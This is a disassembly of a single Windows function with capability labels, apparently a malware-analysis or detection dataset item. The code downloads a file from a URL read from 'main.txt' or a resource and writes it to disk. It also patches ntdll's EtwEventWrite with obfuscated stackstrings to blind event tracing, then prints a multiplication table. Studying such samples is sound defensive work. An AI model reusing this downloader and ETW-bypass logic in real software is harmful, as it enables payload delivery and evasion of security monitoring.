Function at 0x140003690
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
xor r15d, r15d
call fcn.140001fd0
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov ebx, r15d
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x1400036c4
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140039650]
movdqu xmmword [rbp - 0x40], xmm1
movabs r14, 0x7478742e6e69616d
mov qword [rbp - 0x50], r14
mov byte [rbp - 0x48], r15b
mov r8d, 1
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140006840
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea r8, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], r8
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx - 0x20]
mov qword [rbp + rcx - 0x30], r8
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.140004b60
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.14000a840
nop
test ebx, ebx
jne 0x1400037cb
lea rdx, str.Loading_Dir_main.txt_...
lea rcx, [0x1400404b0]
call fcn.140007c70
mov rcx, rax
call fcn.140007f20
lea rcx, [rbp - 0x50]
call fcn.140002fd0
mov ebx, r15d
jmp 0x140003e9a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r9d, 0x100
lea r8, [rbp - 0x30]
mov edx, 0x65
mov rcx, rax
call qword [sym.imp.USER32.dll_LoadStringW]
test eax, eax
jle 0x140003810
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x70]
call fcn.140005210
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rbp - 0x60], xmm1
jmp 0x140003821
lea rdx, [0x1400394ec]
lea rcx, [rbp - 0x70]
call fcn.140005210
nop
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.140002de0
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [0x1400404b0]
call fcn.140009730
mov rcx, rax
call fcn.140007f20
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140003c16
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 4
cmp rax, r8
cmovb r8, rax
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400080d0
lea rcx, [rsp + 0x70]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rbp - 0x78]
cmp rsi, 0xf
cmova rcx, rbx
mov r8, qword [rbp - 0x80]
cmp r8, 4
jne 0x1400038d5
lea rdx, str.http
call fcn.14002cd60
test eax, eax
jne 0x1400038d5
mov dil, 1
jmp 0x1400038d8
xor dil, dil
cmp rsi, 0xf
jbe 0x14000390f
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140003907
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003efa
mov rcx, rbx
call fcn.14000b1b4
lea rcx, [0x1400404b0]
test dil, dil
je 0x140003adb
lea rdx, str.Loading_StringTable_...
call fcn.140007c70
mov rcx, rax
call fcn.140007f20
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x140003944
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140039650]
movdqu xmmword [rbp - 0x80], xmm1
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Download
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140003a8e
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140003a85
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0xf
cmova rcx, qword [rsp + 0x70]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
je 0x140003a7f
lea r9, [rbp + 0x400]
mov r8d, 0x400
lea rdx, [rbp - 0x30]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140003a73
mov r8d, dword [rbp + 0x400]
test r8d, r8d
je 0x140003a73
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0x408]
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rbp + 0x400]
mov r8d, 0x400
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140003a30
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rsp + 0x70]
call fcn.140002fd0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140003b43
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ad4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f00
call fcn.14000b1b4
jmp 0x140003b43
lea rdx, str.Loading_LocalFile_...
call fcn.140007c70
mov rcx, rax
call fcn.140007f20
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x140003b00
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [0x1400404b0]
call fcn.140009730
mov rcx, rax
call fcn.140007f20
lea rcx, [rsp + 0x50]
call fcn.140002fd0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003b80
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f0c
call fcn.14000b1b4
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140003bd4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f12
call fcn.14000b1b4
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140003c0f
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f06
call fcn.14000b1b4
xor eax, eax
jmp 0x140003ed3
call fcn.140002bb0
test al, al
je 0x140003df5
mov dword [rbp + 0x408], r15d
mov dword [rsp + 0x40], 0x45777445
mov dword [rsp + 0x44], 0x746e6576
mov dword [rsp + 0x48], 0x74697257
mov word [rsp + 0x4c], 0x65
mov dword [rbp + 0x410], 0x6c64746e
mov word [rbp + 0x414], 0x6c
mov dword [rbp + 0x400], 0xc3c03348
lea rcx, [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140003eea
lea r9, [rbp + 0x408]
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140003eea
mov ecx, dword [rbp + 0x400]
mov dword [rbx], ecx
lea r9, [rbp + 0x408]
mov r8d, dword [rbp + 0x408]
mov edx, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140003eea
lea rdx, str.No_Find_main.txt_or_StringTable_...
lea rcx, [0x1400404b0]
call fcn.140007c70
mov rcx, rax
call fcn.140007f20
lea rdx, [0x14003959c]
lea rcx, [0x1400404b0]
call fcn.140007c70
mov esi, 1
nop
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x140003d21
mov edi, 1
mov r14d, esi
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x140003d48
mov edx, edi
lea rcx, [0x1400404b0]
call fcn.140004e60
mov rcx, rax
lea rdx, [0x1400395a4]
call fcn.140007c70
mov rcx, rax
mov edx, esi
call fcn.140004e60
mov rcx, rax
lea rdx, [0x1400395a0]
call fcn.140007c70
mov rcx, rax
mov edx, r14d
call fcn.140004e60
cmp edi, esi
jae 0x140003dd1
xor ecx, ecx
call fcn.14001421c
mov ecx, eax
call fcn.140010e14
mov rbx, r15
nop dword [rax]
call fcn.140010de8
inc rbx
cmp rbx, 0x64
jl 0x140003db0
lea rdx, [0x1400395a8]
lea rcx, [0x1400404b0]
call fcn.140007c70
inc edi
add r14d, esi
cmp edi, esi
jle 0x140003d37
lea rcx, [0x1400404b0]
call fcn.140007f20
inc esi
cmp esi, 9
jle 0x140003d10
mov ebx, r15d
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003e35
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f0c
call fcn.14000b1b4
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140003e88
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f12
call fcn.14000b1b4
movdqa xmm0, xmmword [0x140039620]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x70], r15w
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140003ed1
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ecc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ef4
call fcn.14000b1b4
mov eax, ebx
mov rbx, qword [rsp + 0x518]
add rsp, 0x4d0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov ebx, 0xfffffffd
jmp 0x140003df8
call fcn.140014fbc
nop
call fcn.140014fbc
int3
call fcn.140014fbc
nop
call fcn.140014fbc
nop
call fcn.140014fbc
nop
call fcn.140014fbc
int3